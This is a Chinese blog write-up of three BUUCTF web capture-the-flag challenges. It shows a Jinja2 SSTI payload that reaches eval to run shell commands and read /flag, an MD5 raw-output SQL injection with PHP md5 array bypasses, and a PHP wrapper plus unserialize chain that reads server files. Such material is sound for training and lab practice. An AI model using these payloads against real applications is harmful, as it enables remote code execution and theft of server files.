zoukankan      html  css  js  c++  java
  • BUU八月份水题记录

    [BJDCTF 2nd]fake google(SSTI)

    查看页面源代码

    输入null,提示是SSTI,简单验证下,这里过滤了+号。

    存在eval函数。

    payload:

    http://cb7d998a-510b-4021-8bf8-28b0ac306920.node3.buuoj.cn/qaq?name={% for c in [].__class__.__base__.__subclasses__() %}
    {% if c.__name__ == 'catch_warnings' %}
    {{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}
    {% endif %}
    {% endfor %}
    

    http://cb7d998a-510b-4021-8bf8-28b0ac306920.node3.buuoj.cn/qaq?name={% for c in [].__class__.__base__.__subclasses__() %}
    {% if c.__name__ == 'catch_warnings' %}
    {{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()")}}
    {% endif %}
    {% endfor %}
    

    [BJDCTF2020]Easy MD5(md5注入)

    抓包,在响应包看到提示

    Hint: select * from 'admin' where password=md5($pass,true)
    

    我们写入的值都会被md5加密,这里看起来像sql注入。突破点在md5($pass,true),

    如果我们可以构造

    select * from 'admin' where password=''or XXXXXXX''
    

    XXXX是注入语句,只要XXXXX为TRUE则查询语句成立。XXXX是一串字符怎么让他为True呢,只要让XXX是一串数字打头的字符串就行(0不可以),因为在mysql里面,在作布尔型判断时,以数字开头的字符串会被当做整型数(在php中数字和字符串比较时也一样)。
    这里直接用ffifdyop这个字符串,这个字符串在原始16字符二进制字符格式下的输出符合猜想。

    提交ffifdyop。在页面源码里发现

    $a = $GET['a'];
    $b = $_GET['b'];
    
    if($a != $b && md5($a) == md5($b)){
        // wow, glzjin wants a girl friend.
    

    直接用数组绕过。又拿到一段源码

    <?php
    error_reporting(0);
    include "flag.php";
    highlight_file(__FILE__);
    
    if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
        echo $flag;
    }
    

    同样是数组绕过。拿到flag

    [ZJCTF 2019]NiZhuanSiWei(反序列化)

    <?php  
    $text = $_GET["text"];
    $file = $_GET["file"];
    $password = $_GET["password"];
    if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
        echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
        if(preg_match("/flag/",$file)){
            echo "Not now!";
            exit(); 
        }else{
            include($file);  //useless.php
            $password = unserialize($password);
            echo $password;
        }
    }
    else{
        highlight_file(__FILE__);
    }
    ?>
    

    用伪协议读取userless.php源码

    ?text=data:text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
    &file=php://filter/read=convert.base64-encode/resource=useless.php
    &password=123
    

    拿到一userless.php源码

    <?php  
    class Flag{  //flag.php  
        public $file;  
        public function __tostring(){  
            if(isset($this->file)){  
                echo file_get_contents($this->file); 
                echo "<br>";
            return ("U R SO CLOSE !///COME ON PLZ");
            }  
        }  
    }  
    ?>  
    

    序列化

    <?php
    /**
     * Created by PhpStorm.
     * User: 36521
     * Date: 2020/8/24
     * Time: 12:51
     */
    class Flag{  //flag.php
        public $file ="flag.php";
        public function __tostring(){
            if(isset($this->file)){
                echo file_get_contents($this->file);
                echo "<br>";
            return ("U R SO CLOSE !///COME ON PLZ");
            }
        }
    }
    $a = new Flag();
    $a = serialize($a);
    echo $a;
    

    序列化结果

    O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
    

    把序列化的结果当做password传值。拿到flag

    payload:
    ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
    &file=useless.php
    &password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
    

    flag在页面源码里

    加油吧!!

  • 相关阅读:
    egrep 正则邮箱
    centos 安装编译时常见错误总结
    线上系统和冷备系统同步单个表数据
    nagios微信报警配置
    saltstack批量加用户脚本
    阿里云服务器迁移流程
    HDU 4912 LCA + 贪心
    HDU 5242 树链剖分思想的贪心
    洛谷P3328(bzoj 4085)毒瘤线段树
    Codeforces 719E (线段树教做人系列) 线段树维护矩阵
  • 原文地址:https://www.cnblogs.com/HelloCTF/p/13557111.html
Copyright © 2011-2022 走看看